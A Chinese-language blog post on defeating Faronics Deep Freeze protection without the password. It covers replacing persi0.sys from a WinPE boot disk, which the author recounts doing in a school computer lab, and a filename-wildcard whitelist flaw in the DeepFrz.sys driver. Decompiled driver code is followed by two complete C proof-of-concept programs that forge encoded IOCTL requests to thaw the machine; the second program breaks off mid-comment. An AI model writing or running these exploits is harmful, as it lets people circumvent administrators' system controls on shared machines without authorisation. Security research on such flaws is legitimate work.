Deep Freeze 忘了密码怎么解冻?
11 年前,也就是自己六年级的时候,我绕过了 Deep Freeze 的还原保护。
11 年后,Deep Freeze 居然只更新了两个大版本。现在心血来潮又试了一下,发现自己当年的方法仍然健在,并且还有了新的思路。这篇文章针对的两个版本是:
- Standard 最新版本 9.0.20.5760
- 企业版第二新的版本 10.10.220.5788(几天前刚出了 10.20,但貌似目前还拿不到)
方法在自己的 win7 虚拟机测试,两个版本均通过。仅供个人学习交流使用。
替换 persi0.sys
需要 U 盘 physical access,进入 winPE。
这是我当年偷偷跑到学校机房实施的办法。步骤如下:
- 记住学校机房里安装的 Deep Freeze 的版本号,并在另一条设备开虚拟机下载、安装相同版本的 Deep Freeze,设置并牢记自己的密码。
- 重启之后,在 PE 环境将 C 盘根目录的 persi0.sys 拷贝进 U 盘(因为正在运行中的系统无法拷贝,必须离线)。
- 到了微机课的时候,使用自己的 PE 启动盘进入 PE 环境,将 persi0.sys 覆盖对应的 C 盘根目录文件。
- 下次重启到原来的系统,Ctrl+Alt+Shift+F6,输入原来的密码解锁,选择解冻,再次重启即可用原来的安装包卸载。
这个方法的重要前提是——当时机房 BIOS 没有密码。
至于官方修复方面,这个方法在 8.35 及其之前都仍然有效。2017/02 官方推出了 8.37,有了完整性校验,按照这个步骤会导致 Deep Freeze 的图标消失。虽然软件坏了,但系统实际上处于解冻状态,直接用对应安装包卸载即可。
到了最新版本 9.0.20.5760,完整性校验似乎又没了。我亲自开了两个 vmware 虚拟机,(注意不是克隆,vol C: 输出不同,机器指纹应该不一样),我观察到了两个现象:
- 给这两个系统的 Deep Freeze 设置相同的密码,PE 导出后,diff 检查逐字节一致。
- 假如虚拟机 A 和虚拟机 B 的密码不同,将 B 的 persi0.sys 替换 A 的那个版本,之后在虚拟机 A 使用 B 的密码也可以登录成功。
事后的逆向分析也证明驱动完全不验签,但应用态的 FrzState2k.exe 内部嵌着一把 base64 RSA 公钥。格式为 X.509 SubjectPublicKeyInfo 的 RSA 3072,具体内容如下:
MIIBoDANBgkqhkiG9w0BAQEFAAOCAY0AMIIBiAKCAYEA2RePUsV+NetwZuAWHMOmEjzUrXOFHsAG3YL2vy/PBt1CsIOXeUPb+KgOtFJN2rfbvgULnQmI50GK7lF+J6za9TUP6QAAWKlkc2XO1BbiGD9O83g9Vcw8dZwbKZbRmEEnQoYALfQaXdIg8ehHGgLT4K8b9C3cPklNNQUpgazrj5Xrdbu+EuwTfoW1mc3SfJkWZBLWiPPiHjd1xzxtiVhO/D+ANNMWsL8D/yQTwvg6vkLOIUR2M/MLqDBAgB309/XtPsJQ9WIVJxSMd+Fj+DVTbJtJd1V/usttlK54/4wY63mHXO38oNZV1tMKRHlYpvXoGFAtFiTBCf1LAlHUN0Q/qtHfbYxFc60Jbdgqgb+SEFETNXQIHSlmGAN66DZauesdrADri1fIc2O+Bzzz8c9bTDcdu4x6whDwU+2BL8qszORIWiECU4z57w7N22fnLAE1Z8+RrJq/7dLgZNFBxZEexM2hfhTz40vIWfhD5En+WwZUa+vEud4DIPqu8Ltq9NZZAgER
基于对密码学的基本信任,我认为单从 persi0.sys 还原密码明文,基本上不可能了。
白名单路径 impersonate
只需有当前电脑的管理员权限即可。
静态分析得到的最重要的漏洞就是,程序运行的是白名单正则匹配的,具体而言,匹配方式为:
*\WINDOWS\SYSTEM32\DFC.EXE*
*\WINDOWS\SYSWOW64\DFC.EXE*
*\FARONICS\DEEP FREEZE\INSTALL C-0\DFSERV.EXE*
*\FARONICS\DEEP FREEZE\INSTALL C-0\_$DF\FRZSTATE2K.EXE*
这意味着你只要编写一个形如 DFServ.exe.20260928.exe,并放在 Install C-0 这个目录,你就相当于获得了与 DFServ.exe 等这些程序相同的身份。
这个版本对 9.0.20.5760 和 10.10.220.5788 都适用,绕过思路基本一致,只是官方的参数调整让实现细节有所区别。
9.0.20.5760
这里重点说一下白名单校验是怎么来的。首先驱动 deepfrz.sys 在哪些地方用了 ZwQueryInformationProcess API,看一下 Xref:
查看 sub_140007A8C,F5 反编译如下:
__int64 __fastcall sub_140007A8C(__int64 a1, _QWORD *a2)
{
NTSTATUS InformationProcess; // eax
PVOID PoolWithTag; // rbx
NTSTATUS v6; // edi
SIZE_T NumberOfBytes; // [rsp+48h] [rbp+10h] BYREF
LODWORD(NumberOfBytes) = 0;
*a2 = 0;
InformationProcess = ZwQueryInformationProcess(
ProcessHandle: (HANDLE)0xFFFFFFFFFFFFFFFFLL,
ProcessInformationClass: ProcessImageFileName,
ProcessInformation: nullptr,
ProcessInformationLength: 0,
ReturnLength: (PULONG)&NumberOfBytes);
if ( (_DWORD)NumberOfBytes == 0 || InformationProcess != 0xC0000004 )
return 0xC0000001LL;
PoolWithTag = ExAllocatePoolWithTag(PoolType: PagedPool, (unsigned int)NumberOfBytes, Tag: 0x636F7250u);
if ( PoolWithTag == nullptr )
return 3221225626LL;
v6 = ZwQueryInformationProcess(
ProcessHandle: (HANDLE)0xFFFFFFFFFFFFFFFFLL,
ProcessInformationClass: ProcessImageFileName,
ProcessInformation: PoolWithTag,
ProcessInformationLength: NumberOfBytes,
ReturnLength: (PULONG)&NumberOfBytes);
if ( v6 < 0 )
{
_mm_lfence();
ExFreePoolWithTag(P: PoolWithTag, Tag: 0);
}
else
{
*a2 = PoolWithTag;
}
return (unsigned int)v6;
}
看看父函数 sub_1400073F0,程序在经历上面的 sub_140007A8C 之后,来到了 sub_1400179E8(也就是 FsRtlIsNameInExpression):
if ( v5 == 468200 )
{
P = nullptr;
if ( (int)sub_140007A8C(a1, a2: &P) >= 0 )
{
v22 = 0;
while ( 1 )
{
v24 = 0;
RtlInitUnicodeString(&DestinationString, SourceString: off_140029000[v22]);
if ( (unsigned __int8)sub_1400179E8(a1: P, a2: &DestinationString) == 1 )
break;
if ( DestinationString.Buffer != nullptr && v24 != 0 )
sub_1400124F0(a1: DestinationString.Buffer, a2: 2);
if ( (unsigned __int64)++v22 >= 4 )
goto LABEL_121;
}
if ( DestinationString.Buffer != nullptr && v24 != 0 )
sub_1400124F0(a1: DestinationString.Buffer, a2: 2);
LABEL_121:
ExFreePoolWithTag(P, Tag: 0);
if ( v22 == 4 )
{
v14 = -1073741790;
goto LABEL_51;
}
}
}
a2 = v4;
于是我们应该关心 off_140029000 常量,因为根据业务逻辑,这段附近肯定涉及到白名单匹配,打开一看:
.data:0000000140029000 off_140029000 dq offset aWindowsSystem3
.data:0000000140029000 ; DATA XREF: sub_1400073F0:loc_14000782A↑o
.data:0000000140029000 ; "*\\WINDOWS\\SYSTEM32\\DFC.EXE*"
.data:0000000140029008 dq offset aWindowsSyswow6 ; "*\\WINDOWS\\SYSWOW64\\DFC.EXE*"
.data:0000000140029010 dq offset aFaronicsDeepFr ; "*\\FARONICS\\DEEP FREEZE\\INSTALL C-0\\"...
.data:0000000140029018 dq offset aFaronicsDeepFr_0 ; "*\\FARONICS\\DEEP FREEZE\\INSTALL C-0\\"...
双击跳转到对应 offset,前面的 claim 就被证实了:
.rdata:00000001400257C0 aWindowsSystem3: ; DATA XREF: .data:off_140029000↓o
.rdata:00000001400257C0 text "UTF-16LE", '*\WINDOWS\SYSTEM32\DFC.EXE*',0
.rdata:00000001400257F8 aWindowsSyswow6: ; DATA XREF: .data:0000000140029008↓o
.rdata:00000001400257F8 text "UTF-16LE", '*\WINDOWS\SYSWOW64\DFC.EXE*',0
.rdata:0000000140025830 aFaronicsDeepFr: ; DATA XREF: .data:0000000140029010↓o
.rdata:0000000140025830 text "UTF-16LE", '*\FARONICS\DEEP FREEZE\INSTALL C-0\DFSERV.EXE*',0
.rdata:000000014002588E align 10h
.rdata:0000000140025890 aFaronicsDeepFr_0: ; DATA XREF: .data:0000000140029018↓o
.rdata:0000000140025890 text "UTF-16LE", '*\FARONICS\DEEP FREEZE\INSTALL C-0\_$DF\FRZSTATE2K.'
.rdata:00000001400258F6 text "UTF-16LE", 'EXE*',0
之后就是看如何与驱动交互。这里就让 LLM 代劳了,对应的函数是:
| # | 要逆出的量 | IDA 位置 | 给出报文里的 |
|---|---|---|---|
| 1 | IOCTL 码表 + 分派链 | sub_1400073F0 → sub_140001060 → sub_140008D18(减法链) |
4 个码 0x724E8 / 0x7207C / 0x72024 / 0x72094 |
| 2 | 两个查询的调用约定 | sub_140007B48、sub_140007BB8 |
id、type1(输入 NULL、输出 4、不解包) |
| 3 | 两段式读取 | sub_140009C78 → sub_140022B4C / sub_140022E18 |
N + 记录本体(原样带回) |
| 4 | 记录的字段约束 | sub_14000AB28(+2/+0xD4 校验)、sub_140023780(3221 B) |
+0x02 = 0x1712、+0xD4 = id |
| 5 | 提交只采纳哪两个字段 | sub_14000AB28(mode 4) 克隆链(sub_1400124D0→sub_1400063E8→sub_140023780→sub_140003650) |
+0x04 = 1、+0x72 = 7 |
| 6 | trailer 字段与取值 | 模板 byte_8772FC + sub_4BC984/sub_4BCAEC/sub_4BC350;sub_140022B74、sub_140022BAC |
+0x00/+0x82/+0x8A/+0x8E |
| 7 | 内层变换与作用范围 | sub_14000FFEC ≡ sub_4DBCDC |
^0xC0,只前 min(len,0x3000) |
| 8 | 外层尾布局与魔数 | sub_4BE1DC ↔ sub_1400010DC;魔数 cmp [rbx+0Ch],6789DEDCh |
[id][0x6789DEDC][12] |
| 9 | 外层变换、递推、种子、窗口 | sub_4A7ED8+sub_4A7F14+sub_4A7F54 ↔ sub_14000B7F4+sub_14000B724(&ctx,60) |
逆序 XOR、s^(k+3)、181/163、秒种子、窗口 60 |
| 10 | 提交语义与长度约束 | sub_14000AB28(mode 4);sub_140001B38(v8 == a4 才写) |
长度恰好等于 slot 长度;成功 = 返回 N |
知道了这些信息,我们就开始写 PoC 了:
/* DeepFrz.sys 9.00.020.5760, exact SHA-256 pinned below.
* Static-analysis PoC. Never run by the authoring session.
* No CRT, no reboot, no 0x72028, no retry of the write request.
* Run only when explicitly ready: thaw_once.exe --thaw-once
*/
#define WIN32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0601
#include <windows.h>
#include <wincrypt.h>
#include <shellapi.h>
#define IO_READ 0x00072024u
#define IO_COMMIT 0x00072094u
#define IO_TYPE1 0x0007207Cu
#define IO_RECORD_ID 0x000724E8u
#define MAX_RECORD 0xBADBu
#define MIN_RECORD (637u + 3221u)
#define TAIL_SIZE 146u
#define OUTER_SIZE 12u
static const BYTE expected_sha256[32] = {
0xC4,0xB9,0xE8,0x41,0xA6,0x79,0x8A,0x47,
0x40,0xB1,0xAA,0x01,0x4B,0x03,0x3A,0x2E,
0x86,0x4D,0xF6,0x65,0xC1,0xDB,0x6B,0x67,
0x9F,0x31,0xBC,0x8D,0x77,0xDB,0xB7,0x3F
};
static DWORD length(const char *s) { DWORD n=0; while(s[n]) ++n; return n; }
static void say(const char *s) {
DWORD n;
WriteFile(GetStdHandle(STD_OUTPUT_HANDLE),s,length(s),&n,NULL);
}
static void hex32(DWORD v) {
char s[11]; DWORD i;
s[0]='0'; s[1]='x'; s[10]=0;
for(i=0;i<8;++i) s[9-i]="0123456789ABCDEF"[(v>>(4*i))&15u];
say(s);
}
static BOOL equal_w(const WCHAR *a,const WCHAR *b) {
while(*a && *a==*b) { ++a; ++b; } return *a==*b;
}
static BYTE *allocate(DWORD n) {
return (BYTE*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,n);
}
static void release(void *p) { if(p) HeapFree(GetProcessHeap(),0,p); }
static DWORD get32(const BYTE *p) {
return (DWORD)p[0]|((DWORD)p[1]<<8)|((DWORD)p[2]<<16)|((DWORD)p[3]<<24);
}
static WORD get16(const BYTE *p) { return (WORD)(p[0]|((WORD)p[1]<<8)); }
static void put32(BYTE *p,DWORD n) {
p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); p[2]=(BYTE)(n>>16); p[3]=(BYTE)(n>>24);
}
static void put16(BYTE *p,WORD n) { p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); }
static void copy_bytes(BYTE *d,const BYTE *s,DWORD n) {
DWORD i; for(i=0;i<n;++i) d[i]=s[i];
}
/* Check the on-disk driver before opening the volume. Does not prove the
* loaded kernel image matches a subsequently replaced on-disk file. */
static BOOL verify_target(void) {
OSVERSIONINFOA os={0};
char path[MAX_PATH];
const char suffix[]="\\drivers\\DeepFrz.sys";
HCRYPTPROV provider=0; HCRYPTHASH hash=0;
HANDLE file=INVALID_HANDLE_VALUE;
BYTE digest[32]; BYTE *chunk=NULL;
DWORD n,i,read_n,digest_n=32; BOOL ok=FALSE;
LARGE_INTEGER size;
if(sizeof(void*)!=8) { say("This PoC requires x64.\r\n"); return FALSE; }
os.dwOSVersionInfoSize=sizeof(os);
if(!GetVersionExA(&os) || os.dwMajorVersion!=6 || os.dwMinorVersion!=1) {
say("Refusing: expected Windows 7 / NT 6.1.\r\n"); return FALSE;
}
n=GetSystemDirectoryA(path,MAX_PATH);
if(!n || n>=MAX_PATH || (path[0]!='C' && path[0]!='c') || path[1]!=':') {
say("Refusing: expected the analyzed C: system volume.\r\n"); return FALSE;
}
if(n+sizeof(suffix)>MAX_PATH) return FALSE;
for(i=0;i<sizeof(suffix);++i) path[n+i]=suffix[i];
file=CreateFileA(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(file==INVALID_HANDLE_VALUE) goto done;
if(!GetFileSizeEx(file,&size) || size.QuadPart!=203832) goto done;
if(!CryptAcquireContextA(&provider,NULL,NULL,PROV_RSA_AES,CRYPT_VERIFYCONTEXT)) goto done;
if(!CryptCreateHash(provider,CALG_SHA_256,0,0,&hash)) goto done;
chunk=allocate(4096);
if(!chunk) goto done;
for(;;) {
if(!ReadFile(file,chunk,4096,&read_n,NULL)) goto done;
if(!read_n) break;
if(!CryptHashData(hash,chunk,read_n,0)) goto done;
}
if(!CryptGetHashParam(hash,HP_HASHVAL,digest,&digest_n,0) || digest_n!=32) goto done;
for(i=0;i<32;++i) if(digest[i]!=expected_sha256[i]) goto done;
ok=TRUE;
done:
release(chunk);
if(hash) CryptDestroyHash(hash);
if(provider) CryptReleaseContext(provider,0);
if(file!=INVALID_HANDLE_VALUE) CloseHandle(file);
if(!ok) say("Refusing: driver size/hash verification failed.\r\n");
return ok;
}
/* Exactly the observed volume-open parameters. Reopen for each request,
* as DFServ does. No alternate device and no write-request retry. */
static BOOL ioctl(DWORD code,BYTE *input,DWORD in_n,BYTE *output,DWORD out_n,DWORD *returned) {
HANDLE h=CreateFileA("\\\\.\\C:",0,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
BOOL ok; DWORD error;
*returned=0;
if(h==INVALID_HANDLE_VALUE) {
say("CreateFile failed: "); hex32(GetLastError()); say("\r\n"); return FALSE;
}
ok=DeviceIoControl(h,code,input,in_n,output,out_n,returned,NULL);
error=ok?0:GetLastError();
CloseHandle(h);
if(!ok) {
say("DeviceIoControl "); hex32(code); say(" failed: "); hex32(error); say("\r\n");
}
return ok;
}
/* 140007B48 / 140007BB8 require SystemBuffer and output length exactly 4.
* They do not read/decode input. The I/O manager supplies SystemBuffer
* from OutputBufferLength=4 even when input is NULL. */
static BOOL query_dword(DWORD code,DWORD *value) {
BYTE out[4]={0}; DWORD returned;
if(!ioctl(code,NULL,0,out,4,&returned) || returned!=4) return FALSE;
*value=get32(out); return TRUE;
}
/* 4BE1DC / 4A7ED8, matched against 1400010DC / 14000B7F4.
* Fresh UTC seconds for every request; no timestamp copied from DFTime. */
static BYTE *wrap(const BYTE *plain,DWORD n,DWORD id,DWORD *wire_n) {
FILETIME ft; ULARGE_INTEGER t;
ULONGLONG seconds;
DWORD k,total=n+OUTER_SIZE;
WORD state;
BYTE *wire=allocate(total);
if(!wire) return NULL;
copy_bytes(wire,plain,n);
put32(wire+n,id); put32(wire+n+4,0x6789DEDCu); put32(wire+n+8,OUTER_SIZE);
GetSystemTimeAsFileTime(&ft);
t.LowPart=ft.dwLowDateTime; t.HighPart=ft.dwHighDateTime;
if(t.QuadPart<116444736000000000ULL) { release(wire); return NULL; }
seconds=(t.QuadPart-116444736000000000ULL)/10000000ULL;
if(seconds>0x7FFFFFFFULL) { release(wire); return NULL; }
state=(WORD)seconds;
for(k=0;k<total;++k) {
state=(WORD)(2u*((DWORD)state/181u)-163u*((DWORD)state%181u));
wire[total-1-k]^=(BYTE)((BYTE)state^(BYTE)(k+3u));
}
*wire_n=total; return wire;
}
static BOOL read_slot0(DWORD id,BYTE *out,DWORD out_n,DWORD *returned) {
BYTE index[4]={0}; DWORD wire_n=0;
BYTE *wire=wrap(index,4,id,&wire_n); BOOL ok;
if(!wire) return FALSE;
ok=ioctl(IO_READ,wire,wire_n,out,out_n,returned);
release(wire); return ok;
}
static DWORD thaw_once(void) {
DWORD id,key,n,returned,wire_n,i,plain_n;
BYTE size_bytes[4]={0}; BYTE *record=NULL,*plain=NULL,*wire=NULL;
DWORD result=1;
if(!verify_target()) return 1;
if(!query_dword(IO_RECORD_ID,&id) || !query_dword(IO_TYPE1,&key)) return 1;
if(!read_slot0(id,size_bytes,4,&returned) || returned!=4) return 1;
n=get32(size_bytes);
/* Bounds cover the subregion the handler itself copies and the
* maximum clone allocation in this exact driver. Do not guess N. */
if(n<MIN_RECORD || n>MAX_RECORD) {
say("Refusing unexpected record length: "); hex32(n); say("\r\n"); return 1;
}
record=allocate(n);
if(!record || !read_slot0(id,record,n,&returned) || returned!=n) goto done;
if(get16(record)!=n || get16(record+2)!=0x1712 || get32(record+0xD4)!=id) {
say("Refusing inconsistent record header/id.\r\n"); goto done;
}
plain_n=n+TAIL_SIZE;
plain=allocate(plain_n);
if(!plain) goto done;
copy_bytes(plain,record,n);
put32(plain+0x04,1); /* one thawed initialization interval */
put16(plain+0x72,7); /* DFServ RebootThawed operation */
put32(plain+n+0x00,key); /* from 0x7207C, NOT readback +0x289 */
put32(plain+n+0x82,1); /* type-1 validation */
put32(plain+n+0x8A,0); /* slot 0 */
put32(plain+n+0x8E,TAIL_SIZE);
/* All remaining trailer bytes are zero, as in DFServ. */
for(i=0;i<plain_n && i<0x3000u;++i) plain[i]^=0xC0;
wire=wrap(plain,plain_n,id,&wire_n);
if(!wire) goto done;
say("Submitting ONE 0x72094 request (count=1, operation=7).\r\n");
if(!ioctl(IO_COMMIT,wire,wire_n,NULL,0,&returned)) {
say("Write outcome is not confirmed; do not assume nothing changed. No retry was made.\r\n");
goto done;
}
if(returned!=n) {
say("Unexpected completion length; write may have occurred. No retry was made.\r\n");
goto done;
}
say("Driver reported success. No reboot was requested. Actual thaw state is not verified.\r\n");
result=0;
done:
release(wire); release(plain); release(record);
return result;
}
/* Custom PE entry point keeps the executable independent of UCRT/.NET. */
void entry(void) {
int argc=0; DWORD result=2;
WCHAR **argv=CommandLineToArgvW(GetCommandLineW(),&argc);
if(argv && argc==2 && equal_w(argv[1],L"--thaw-once")) result=thaw_once();
else say("Version-pinned static-analysis PoC.\r\nUsage: thaw_once.exe --thaw-once\r\nNo device calls made without that argument. No automatic reboot.\r\n");
if(argv) LocalFree(argv);
ExitProcess(result);
}
10.10.220.5788
v10 的版本在 v9 基础上,白名单本身是没有变化的,驱动确实改了不少:
| # | 项 | v9 | v10 |
|---|---|---|---|
| 1 | 记录 id 查询码 | 0x724E8 |
0x724E4 |
| 2 | 长度/读取码 | 0x72024 |
0x72020(0x72024 改成"写模式 0 预检") |
| 3 | 提交 mode | 0x72094 ⇒ mode 4 |
0x72094 ⇒ mode 3 |
| 4 | trailer 首 dword | type-1 值(记录 +0x289,由 0x7207C 取)→ 源码 put32(plain+n+0x00,key) |
记录 id → 源码 put32(payload+n+0x00,id)(key 查了只打印) |
| 5 | 内层变换 | 内联 p[i]^=0xC0 |
inner_transform():p[i]^=i^(0xBC+i) |
| 6 | 外层魔数 | 0x6789DEDC |
0x6789EFDC |
| 7 | 外层递推 | state=2*(state/181)-163*(state%181) |
2060591247 魔数除法实现的 173/137 版 |
具体细节这里就不赘述了,PoC 如下:
/* DeepFrz.sys 10.10.220.5788, exact SHA-256 pinned below.
* v11 candidate: corrected v10 protocol port. Static-analysis derived; the
* authoring session did NOT run it.
*
* Corrections versus poc\thaw_once_v10_candidate.c, both proven from the
* v10 driver and from the UPX-unpacked v10 DFServ.exe:
*
* 1. 0x72024 is NOT the length query in v10. Sending a 4-byte payload to
* 0x72024 makes sub_14000ADE8's trailer parser sub_140022E54 return NULL
* (it requires payloadLen >= 0x92 and u32@(payload+payloadLen-4) == 146),
* so the handler takes LABEL_49 and completes with STATUS_INVALID_PARAMETER
* (0xC000000D) -> Win32 ERROR_INVALID_PARAMETER (0x57), exactly the observed
* failure. The length query / record read moved to 0x72020.
* 2. The inner payload transform is not a flat XOR 0xC0. v10 uses
* payload[i] ^= (BYTE)i ^ (BYTE)(0xBC + i) for i < min(len,0x3000)
* (driver sub_1400102C0, DFServ sub_4DC0FC -- identical).
*
* No CRT, no reboot, no retry. Run only when explicitly ready:
* thaw_once_v11_candidate.exe --thaw-once
*/
#define WIN32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0601
#include <windows.h>
#include <wincrypt.h>
#include <shellapi.h>
/* v10 request codes, each traced to its handler in DeepFrz.sys 10.10.220.5788:
* 0x72020 -> worker sub_140008D28 -> sub_140009C88 length query / record read
* 0x72024 -> worker sub_140008D28 -> sub_14000ADE8 mode 0 read w/ trailer
* 0x7208C -> worker sub_140008D28 -> sub_14000ADE8 mode 2
* 0x72094 -> worker sub_140008D28 -> sub_14000ADE8 mode 3 commit
* 0x7207C -> pre-dispatch sub_140007400 (unpacked, needs OutputBufferLength>=4)
* 0x724E4 -> worker sub_140007B58 (unpacked, needs OutputBufferLength==4)
*/
#define IO_META 0x00072020u
#define IO_READ 0x00072024u
#define IO_COMMIT 0x00072094u
#define IO_TYPE1 0x0007207Cu
#define IO_RECORD_ID 0x000724E4u
/* DFServ v10 rejects Size > 0xB9BB (sub_4BC6D8). The driver's own memcpy of
* 3221 bytes at record+637 needs N >= 637+3221. */
#define MAX_RECORD 0xB9BBu
#define MIN_RECORD (637u + 3221u)
#define TAIL_SIZE 146u
#define OUTER_SIZE 12u
#define SLOT0 0u
static const BYTE expected_sha256[32] = {
0x2E,0xDE,0x84,0x4D,0x9E,0x28,0x33,0x22,
0x8C,0xF0,0xEB,0x16,0x18,0x71,0x20,0xCA,
0x59,0x86,0x4F,0x87,0x09,0xEA,0x4F,0xA2,
0x40,0xFE,0xC5,0x2B,0x3A,0xB2,0x24,0xCF
};
static DWORD length(const char *s) { DWORD n=0; while(s[n]) ++n; return n; }
static void say(const char *s) {
DWORD n;
WriteFile(GetStdHandle(STD_OUTPUT_HANDLE),s,length(s),&n,NULL);
}
static void hex32(DWORD v) {
char s[11]; DWORD i;
s[0]='0'; s[1]='x'; s[10]=0;
for(i=0;i<8;++i) s[9-i]="0123456789ABCDEF"[(v>>(4*i))&15u];
say(s);
}
static BOOL equal_w(const WCHAR *a,const WCHAR *b) {
while(*a && *a==*b) { ++a; ++b; } return *a==*b;
}
static BYTE *allocate(DWORD n) {
return (BYTE*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,n);
}
static void release(void *p) { if(p) HeapFree(GetProcessHeap(),0,p); }
static DWORD get32(const BYTE *p) {
return (DWORD)p[0]|((DWORD)p[1]<<8)|((DWORD)p[2]<<16)|((DWORD)p[3]<<24);
}
static WORD get16(const BYTE *p) { return (WORD)(p[0]|((WORD)p[1]<<8)); }
static void put32(BYTE *p,DWORD n) {
p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); p[2]=(BYTE)(n>>16); p[3]=(BYTE)(n>>24);
}
static void put16(BYTE *p,WORD n) { p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); }
static void copy_bytes(BYTE *d,const BYTE *s,DWORD n) {
DWORD i; for(i=0;i<n;++i) d[i]=s[i];
}
/* Check the on-disk driver before opening the volume. Does not prove the
* loaded kernel image matches a subsequently replaced on-disk file. */
static BOOL verify_target(void) {
OSVERSIONINFOA os={0};
char path[MAX_PATH];
const char suffix[]="\\drivers\\DeepFrz.sys";
HCRYPTPROV provider=0; HCRYPTHASH hash=0;
HANDLE file=INVALID_HANDLE_VALUE;
BYTE digest[32]; BYTE *chunk=NULL;
DWORD n,i,read_n,digest_n=32; BOOL ok=FALSE;
LARGE_INTEGER size;
if(sizeof(void*)!=8) { say("This PoC requires x64.\r\n"); return FALSE; }
os.dwOSVersionInfoSize=sizeof(os);
if(!GetVersionExA(&os) || os.dwMajorVersion!=6 || os.dwMinorVersion!=1) {
say("Refusing: expected Windows 7 / NT 6.1.\r\n"); return FALSE;
}
n=GetSystemDirectoryA(path,MAX_PATH);
if(!n || n>=MAX_PATH || (path[0]!='C' && path[0]!='c') || path[1]!=':') {
say("Refusing: expected the analyzed C: system volume.\r\n"); return FALSE;
}
if(n+sizeof(suffix)>MAX_PATH) return FALSE;
for(i=0;i<sizeof(suffix);++i) path[n+i]=suffix[i];
file=CreateFileA(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(file==INVALID_HANDLE_VALUE) goto done;
if(!GetFileSizeEx(file,&size) || size.QuadPart!=204880) goto done;
if(!CryptAcquireContextA(&provider,NULL,NULL,PROV_RSA_AES,CRYPT_VERIFYCONTEXT)) goto done;
if(!CryptCreateHash(provider,CALG_SHA_256,0,0,&hash)) goto done;
chunk=allocate(4096);
if(!chunk) goto done;
for(;;) {
if(!ReadFile(file,chunk,4096,&read_n,NULL)) goto done;
if(!read_n) break;
if(!CryptHashData(hash,chunk,read_n,0)) goto done;
}
if(!CryptGetHashParam(hash,HP_HASHVAL,digest,&digest_n,0) || digest_n!=32) goto done;
for(i=0;i<32;++i) if(digest[i]!=expected_sha256[i]) goto done;
ok=TRUE;
done:
release(chunk);
if(hash) CryptDestroyHash(hash);
if(provider) CryptReleaseContext(provider,0);
if(file!=INVALID_HANDLE_VALUE) CloseHandle(file);
if(!ok) say("Refusing: driver size/hash verification failed.\r\n");
return ok;
}
/* Same volume-open parameters as the observed DFServ path:
* access=0, share=0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL. */
static BOOL raw_call(DWORD code,BYTE *input,DWORD in_n,BYTE *output,DWORD out_n,DWORD *returned) {
HANDLE h=CreateFileA("\\\\.\\C:",0,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
BOOL ok; DWORD error;
*returned=0;
if(h==INVALID_HANDLE_VALUE) {
say("CreateFile failed: "); hex32(GetLastError()); say("\r\n"); return FALSE;
}
ok=DeviceIoControl(h,code,input,in_n,output,out_n,returned,NULL);
error=ok?0:GetLastError();
CloseHandle(h);
if(!ok) { say("DeviceIoControl "); hex32(code); say(" failed: "); hex32(error); say("\r\n"); }
return ok;
}
/* 0x724E4: sub_140007B58 requires OutputBufferLength == 4 exactly and does not
* read or decode the input; it returns u32@(current_record+0xD4). Unpacked.
* 0x7207C: pre-dispatch sub_140007400 requires OutputBufferLength >= 4 and
* returns !*(u8*)(*(device+104)+243). Unpacked. Both observed in DFServ v10. */
static BOOL query_raw(DWORD code,DWORD *value) {
BYTE out[4]={0}; DWORD returned;
if(!raw_call(code,NULL,0,out,4,&returned) || returned!=4) return FALSE;
*value=get32(out); return TRUE;
}
/* Driver sub_1400102C0 / DFServ sub_4DC0FC: payload[i] ^= (BYTE)i ^ (BYTE)(0xBC+i),
* the first min(len,0x3000) bytes only. This is NOT a flat XOR 0xC0. */
static void inner_transform(BYTE *p,DWORD n) {
DWORD i,lim=(n>0x3000u)?0x3000u:n;
for(i=0;i<lim;++i) p[i]^=(BYTE)((BYTE)i^(BYTE)(0xBCu+i));
}
/* Driver sub_14000BAC8 / sub_14000BA3C and DFServ sub_4BE564 / sub_4A8260:
* outer 12-byte tail is id || 0x6789EFDC || 12, then a whole-wire reverse XOR
* with state = (seed16 - attempt) and mask (k+3). Verified byte-for-byte. */
static BYTE *wrap(const BYTE *plain,DWORD n,DWORD id,DWORD *wire_n) {
FILETIME ft; ULARGE_INTEGER t;
ULONGLONG seconds;
DWORD k,total=n+OUTER_SIZE;
WORD state;
BYTE *wire=allocate(total);
if(!wire) return NULL;
copy_bytes(wire,plain,n);
put32(wire+n,id); put32(wire+n+4,0x6789EFDCu); put32(wire+n+8,OUTER_SIZE);
GetSystemTimeAsFileTime(&ft);
t.LowPart=ft.dwLowDateTime; t.HighPart=ft.dwHighDateTime;
if(t.QuadPart<116444736000000000ULL) { release(wire); return NULL; }
seconds=(t.QuadPart-116444736000000000ULL)/10000000ULL;
if(seconds>0x7FFFFFFFULL) { release(wire); return NULL; }
state=(WORD)seconds;
for(k=0;k<total;++k) {
DWORD prod=(DWORD)(((ULONGLONG)2060591247u*(DWORD)state)>>32);
DWORD q=prod+(((DWORD)state-prod)>>1);
DWORD r=q>>7;
state=(WORD)(2u*r-137u*((DWORD)state-173u*r));
wire[total-1-k]^=(BYTE)((BYTE)state^(BYTE)(k+3u));
}
*wire_n=total; return wire;
}
/* 0x72020 (driver sub_140009C88): payload is a 4-byte index, wrapped.
* The I/O manager supplies SystemBuffer from max(InputBufferLength,
* OutputBufferLength), so the wrapped 16-byte input is what the handler
* unwraps. OutputBufferLength < record length => the length is written back as
* one DWORD with Information=4; otherwise the record itself is read. */
static BOOL meta_call(DWORD id,DWORD index,BYTE *out,DWORD out_n,DWORD *returned) {
BYTE idx[4]; BYTE *wire; DWORD wire_n=0; BOOL ok;
put32(idx,index);
wire=wrap(idx,4,id,&wire_n);
if(!wire) return FALSE;
ok=raw_call(IO_META,wire,wire_n,out,out_n,returned);
release(wire); return ok;
}
/* 0x72024 (driver sub_14000ADE8 mode 0): the payload must be
* [N-byte record][146-byte trailer] with
* record+0x02 = 0x1712, record+0xD4 = id,
